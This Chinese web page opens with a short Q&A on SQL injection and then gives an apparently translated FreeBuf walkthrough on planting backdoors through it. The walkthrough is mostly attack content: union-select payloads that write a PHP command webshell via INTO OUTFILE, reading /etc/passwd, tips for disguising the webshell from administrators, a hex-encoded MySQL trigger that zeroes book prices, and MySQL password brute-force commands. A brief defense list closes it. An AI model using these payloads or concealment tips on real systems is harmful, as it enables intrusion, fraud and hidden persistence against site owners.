『壹』 如何製造sql注入點
做好網站安全性
SQL注入就是你先把條件的前面一個「'」結束了,然後自己寫條件,不作為一個字元串,然後在來一個「'」,接上原本的字元串,OK,那你當中這段SQL就不是一個字元串,而是可以起作用的真正SQL,對資料庫有作用,就是注入啦。
防止這種問題呢,後台寫一句,把你的「'」全部視而不見,那無論你寫什麼都只當字元串處理,資料庫也就沒有影響了。就這么簡單
『貳』 如何利用SQL注入製造一個後門
如何利用SQL注入製造一個後門
0×01,介紹…
0×02,什麼是Sql Injection..
0×03,一個系統後門(OS)Backdoor.
0×04,獲得一個OS Shell
0×05,一個資料庫後門(Database backdoor).
0×07,推薦的防禦措施…
0×08,結論…
0×09,參考…
0×01,介紹
如果你正在讀這篇文章那麼我有理由相信你曾經聽說過一種病毒,或者是它一種特洛伊木馬或者蠕蟲,這類惡意程序可以感染你的計算機系統。一旦你的計算機系統被感染,那麼當你使被感染的計算機連接到互聯網,它很可能會去感染其他的計算機。許多時候,惡意軟體不僅僅只是從一台計算機傳播到另一台,他們會針對每一台感染的計算機進行自身的變異。這些變化將會讓病毒遠程的控制每一台計算機並使它們在之後感染更多的計算機系統。這些病毒第一次執行時會復制一個小型的可執行文件到用戶的磁碟上,這個可執行文件僅僅會監聽在當前計算機系統未使用的埠上從而惡意軟體可以在被感染主機連入互聯網的任意時刻訪問這台主機。這個小的可執行文件叫做後門(Backdoor)。我在這里已經簡要的說明了後門的概念。
0×02,什麼是Sql Injection
已經有超過1百萬的文章講述了什麼是Sql注入並且怎樣去發現和怎樣去避免這類威脅,所以我不想再次重復。如果你需要了解一些關於Sql注入的背景知識,這里有一個介紹性文章的連接可以供你閱讀。這篇文章末尾我也提供了一些參考資料可以讓你針對這篇文章所討論的話題獲得更多的知識信息。
0×03,一個系統後門(OS)Backdoor
這篇文章的目的是利用Sql Injection執行各種各樣的命令最終控制操作系統。為了運行系統命令,我們需要一個CMD shell,或者需要執行一些代碼使得我們可以執行OS命令。讓我們分別嘗試一下這兩種方法。
0×04,獲得一個OS Shell
現在我們將寫我們自己的代碼使之可以讓我們運行任意OS命令來控制操作系統。所以,從之前的文章中我們已經知道搜索部分的變數存在Sql Injection並且在question表中存在4個列名。作為提示,語句Harry Potter』 union select 1,2,3,4#將會出現錯誤:
現在,我們想插入可以執行系統命令的PHP代碼。為了實現這個目的,我們使用MYsql提供的INTO OUTFILE特性。使用Using INTO OUTFILE,可以將查詢的輸出重定向到系統的文件中去。真因為如此,我們可以執行Harry Potter』 union select 『TEXT INTO FILE』,2,3 INTO OUTFILE 『/tmp/blah.txt』#,然後字元串『TEXT INTO FILE』將會被存儲在目錄/tmp下的blah.txt中。如圖:
現在我們將 『TEXT INTO FILE』替換成基本的PHP代碼使之可以讀取URL的參數來執行系統命令控制操作系統。我們使用這樣的語句: Harry Potter』 union select 「<?system($_REQUEST['cmd']); ?>」,2,3 INTO OUTFILE 『/var/www/test/execcmd.php』# ,如圖:
就是這樣!但是還出現了很多我們根本不關心的書籍的內容。所以我調整了我的查詢語句為:
『 union select 「<? system($_REQUEST['cmd']); ?>」,2,3 INTO OUTFILE 『/var/www/test/execcmd.php』#並再次執行。
盡管這回還是返回了2和3,但是好多了。
現在我們訪問execcmd.php並把命令[cat /etc.passwd]傳遞給我們想提交執行的參數。
成功了。通過我多次的嘗試,這里有幾點需要注意的事情。
–運行這條語句的資料庫用戶需要擁有FILE許可權,否則不能執行INTO OUTFILE命令。
–在MySQL服務運行的主機中必須存在一個可寫的Web目錄,否則你不能訪問你剛剛上傳的Webshell。你可以將代碼寫入到總是可寫的目錄像/ttmp,但是你沒有許可權訪問它。
一種簡單的方式來實現OS Shell是使用SQLMap內置的特性。如果你讀過我之前的文章,你會記得我使用過SQLMap。讓我們通過SQLMap來完成同樣的事情。
下面的OS shell截圖是在使用SQLMap進行注入時加入了一個簡單的參數並且在提示處選擇了PHP Web Shell而獲得的。
運行一個命令來檢查我們是否已經獲得了一個Shell。OK,沒問題。
這實在是太容易了。
不幸的是,從『破壞者』的角度來看這也同樣是簡單的。
現在有了這么簡單快捷的方法你肯定不想再用之前的方法了,但是知道手動利用的方法總是有幫助的(這樣當使用工具失敗時你可以有另外的方法)。還有一件事需要注意,難獲得了一
個WebShell時,請使用一個和Web目錄中已經存在的文件十分相似的名字去命名。這會幫助你隱藏你的WebShell使之不會被管理員不經意間輕易的發現。
在開始下一類Backdoor之前,我將向你展示隱藏SQLMap的方法。你可以通過設置代理來運行SQLMap。
然後當SQLMap將實際的WebShell上傳到可寫目錄的時候,brupSuite會攔截到一些請求,讓我們看一下這些請求。
我們能看到一些熟悉的東西。讓我們通過URL decode來確定一下。看一下在底部面板的藍色高亮的部分。它顯示出SQLMap正在使用INTO OUTFILE命令,和我們之前人工使用的方法是一樣的。
最後,我們看一下SQLMap上傳WebShell的內容,非常有意思,看一下底部的面板。
這就是關鍵,工具再一次的大大簡化了我們本該花費大量時間進行的繁瑣工作。
0×05,一個資料庫後門(Database backdoor)
現在我們知道一個OS後門可以在Web應用存在SQL Injection時被植入到系統中。現在讓我們看看如何在資料庫中植入一個後門吧。在我們繼續之前,我們需要一些了解一下backdoor function的相關知識。在OS backdoor中,我們直接訪問了後門並且傳遞給它了一個命令;但在這里卻並不會那麼直接。當我們每一個插入的操作執行時,我們配置的後門會改變資料庫中一些敏感數據的值。所以,每一本書在添加到資料庫中時價格會被我們的後門設置成0,以至於人們可以免費「購買」這些書籍。這在真實的環境中可能會很快被發現。
所以我們在資料庫中有一些叫做「觸發器」的東西,基本的意思就是——「當某些我們希望發生的事情發生時,觸動觸發器去做另外一些事情」。這描述的確實太模糊了,然我們舉一個更明顯的例子。假如你是一個警察,某一時刻你看到一個連環殺手,你扣動扳機並且發射出一枚子彈對么?那麼把他轉換為我們之前的場景——有一個INSERT語句(殺手),一個Database trigger(槍手)開火了,那麼動作(action)就是釋放你之前已經配置(configured)好的子彈(bullet)。
下面使我們要寫的一個MySQL觸發器的例子:
delimiter #
CREATE TRIGGER price BEFORE INSERT ON books
for each row begin
set new.price=』0′;
end;#
delimiter ;
b)無論任何時候如果我們執行一個Insert語句,比如假如一本書,那麼我們設置其價格為0.下面是它的意思:
a)設置默認的MySQL分隔符為』#',因為默認的分隔符是』;'在MySQL作為特殊字元處理了,而我們需要將其作為數據處理。所以我們改變分隔符為』#',表示』#'現在有一個特殊的含義。
c)終止觸發器並將分隔符重置為』;'。
然我們使用Sql Injection將觸發器復制到伺服器上。下面是要作為搜索框輸入的語句:
Harry Potter』 AND 1=0 union select 0×20,0×20,0×20 INTO OUTFILE 『/var/www/test/g2′ LINES TERMINATED BY 6d69746572203b#
我會快速解釋一下這個查詢語句—因為即使看起來它很復雜—其實不然。我們使用1=0因為我們對關於《Harry Potter》的查詢結果並不感興趣。0×20的位置只是查詢了三次空格』space』;這是為了我可以僅僅得到想要重定向到文件』/var/www/test.g2′中的內容。然後LINES TERMINATED BY後面的部分是整個觸發器使用hex函數轉換後的形式(我是用的是Brup Decoder,不要坐在那兒浪費時間去手工轉化它)。
讓我們運行一下看看會在文件/var/www/test/g2中出現什麼。
你注意到了最開始的幾個空格了么?這就是我們之前看到的select 0×20,0×20,0×20的作用。之後的內容就顯而易見了。
現在我們以某種方式執行這個查詢然後我們的觸發器會在每次一本書被插入時激活,這里有三種實現的方法。
a)多語句查詢(Stacked Queries)—Harry Potter』 UNION blah blah blah;source /var/www/test/g2但是這事實上不會成功執行,因為PHP+MySQL不支持多語句查詢。
b)濫用MySQL默認觸發器行為(Abusing MySQL default trigger behavior)—這種方法我還沒有測試過,不過在Stefano Di Paola的文章中被描述的非常清楚。嘗試一下吧,我找時間也會測試一下。
c)使用SQL Injection工具比如SQLMap運行我們存放在/var/www/test/g2中保存的觸發器。這是我們將要測試的方法。
我們來再次運行SQLMap並獲得一個我們可以運行觸發器的SQL shell。
看最後一行。不幸的是,只有當支持多語句查詢時,這種方法才可以執行。這意味著上面的選項a,c意味著同一種情況。讓我們通過代理來查看SQLMap的請求。
讓我們在Sql-shell中執行一個簡單的創建新資料庫的語句—」create database boo;」並在Brup中查看。
我們可以看到,SQLMap嘗試將它轉換為一個SELECT查詢。這將永遠不會執行成功。從Burp相應的內容證實了這一點。
我能想到的唯一一種能夠順序執行我們的查詢的可行辦法包含以下幾個步驟:
—猜解一個有效MySQL用戶的密碼。例如,你猜到root的密碼是test123
—注入一個OS webshell後門。
—注入一個類似之前格式的觸發器。
—現在通過在Webshell中運行MySQL命令來安裝觸發器。
我有幾張截圖來說明為什麼這樣是可行的。為了照顧初學者,這里有張截圖表名當前不存在任何觸發器。
假設我們已經猜解到了用戶名和密碼root和toor(通過Blind SQL暴力猜解mysql.user表)。現在我們反問Web shell並傳遞一個命令:
mysql -u<USERNAME> -p<PASSWORD> <DB NAME> < /var/www/test/g2
現在我們再來看一下資料庫。
看到了我們的觸發器。
現在我們來運行一個INSERT查詢來檢查我們的觸發器是否會運行。然後所有Jeffrey Archer的書的價格會變得非常不可思議。
現在執行查詢:
看最後一行。某些人可以不用支付他本認為應該支付的價格了。
現在我們直接執行一個INSERT查詢來控制資料庫。在真實環境中將會有一個表單來添加書籍,在後端很可能會有一個INSERT查詢,這時觸發器很有可能被觸發執行。這是我沒有創建另外一個表單的唯一原因。
明顯地,一個大前提是我們能夠猜解資料庫的用戶名和密碼。下面有一個簡單的思路可以讓你實現這個目的。
—想一些常用的資料庫用戶名(比如MySQL的root)或者通過社會工程學獲得一些。
—MySQL密碼是通過哈希加密的,並不是明文。
你可以通過以下兩種方式破解密碼:
—通過SQL Injection將密碼的Hash與密碼明文列表對比。(參考我之前的文章)
—在WebShell中通過密碼明文列表和一個特定的用戶名來運行觸發器。你可以寫一個Perl或者Ruby腳本來為你做這些事情。嘗試在遍歷完明文密碼列表之後插入一本書,或者在每次猜解後找出那個密碼是正確的。
mysql -uroot -ptoor blindsql_test< /var/www/test/g2
mysql -uroot -proot blindsql_test< /var/www/test/g2
mysql -uroot -ptest blindsql_test< /var/www/test/g2
mysql -uroot -ppassword blindsql_test< /var/www/test/g2
0×07,推薦的防禦措施
a)使用參數化查詢來防禦SQL注入攻擊。
b)不要在Web目錄中存在大量可寫目錄。
c)限制Web應用在後端查詢資料庫的用戶的許可權。為了實現這一點,不要給其分配FILE許可權。
d)設置復雜的資料庫密碼和健壯的密碼策略。
0×08,結論
這個問題的根源,是Web應用存在Sql注入弱點。修復它將會阻止這種威脅的發生。然而,知道不同的植入後門的方法還是有益的。許多惡意軟體將會通過這種方式傳播;也需要採取措施來防止它們。
出自:http://www.freebuf.com/articles/222.html